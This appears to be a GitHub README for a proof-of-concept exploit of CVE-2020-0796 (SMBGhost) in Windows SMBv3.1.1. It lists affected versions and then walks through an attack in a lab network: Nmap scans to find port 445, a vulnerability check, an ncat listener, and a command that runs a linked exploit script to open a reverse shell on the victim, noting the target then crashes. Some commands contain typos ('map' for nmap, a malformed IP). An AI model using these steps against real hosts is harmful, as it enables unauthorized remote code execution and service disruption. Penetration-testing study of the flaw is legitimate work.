hungdnvp/poc-cve-2020-0796Proof-of-concept exploit for CVE-2020-0796 (SMBGhost) targeting Windows 10/Server SMBv3.1.1. Includes Nmap reconnaissance, vulnerability scanning, and reverse shell payload delivery.
**- Affected versions*
- Windows 10 Version 1903 for 32-bit Systems
- Windows 10 Version 1903 for ARM64-based Systems
- Windows 10 Version 1903 for x64-based Systems
- Windows 10 Version 1909 for 32-bit Systems
- Windows 10 Version 1909 for ARM64-based Systems
- Windows 10 Version 1909 for x64-based Systems
- Windows Server, version 1903 (Server Core installation)
- Windows Server, version 1909 (Server Core installation)
Launch Nmap to scan the network range in the DMZ
map -sS 192.168.116.0/24
nmap: Is the name of the network scanning program.
-sS: Selects the TCP SYN scan method. In this scan, Nmap sends a SYN packet to the target host and observes the response. If the target host replies with a SYN-ACK packet, Nmap knows that the port is open. If the target host replies with an RST packet, it means the port is closed.
-192.168.116.0/24: The specific IP address or IP range you want to scan. In this case, the range is 192.168.116.0/24, describing all IP addresses from 192.168.116.1 to 192.168.116.254.
=> Observe that the victim machine IP 192.116.145 has port 445 open.
· Use Nmap to scan for vulnerabilities on the victim machine
map -p445 –script smb-protocols 192.168.116.145
nmap: Is the name of the network scanning program.
-p445: Specifies the specific port to scan, in this case port 445. Port 445 is commonly used for communication with the SMB (Server Message Block) service on Windows systems.
--script smb-protocols: Selects the smb-protocols script to perform the scan. This script helps check and display information about the SMB protocol versions supported on the target host.
192.168.116.145: The IP address of the host you want to scan. In this case, the IP address is set to 192.168.116.145
- The result obtained from smb-protocols indicates the victim machine potentially has a vulnerability exploitable in SMBv3.1.1
- To be more certain, continue checking the exploitability of CVE-2020-0796 by running a Python script
[]: -https://github.com/ly4k/SMBGhost "exploit code"
=> Result Vulnerable -> detected vulnerability CVE-2020-0796 exploitable on the victim machine.
**Proceed with Reverse Shell Attack**
ncat -lvp 4444
[]: https://github.com/jamf/CVE-2020-0796-RCE-POC "exploit code"
python SMBleedingGhost.py 192.168.116.145 192.168.44.3 4444
=> RESULT: The attacker gains shell code execution on the victim machine.
After a successful connection, the attacker can exploit and execute arbitrary code on the victim machine with the user's privileges in the session.
When the session ends. The victim machine experiences a BlueScreen error and auto Restarts.
*Exploitation may lead to damaging the targeted system*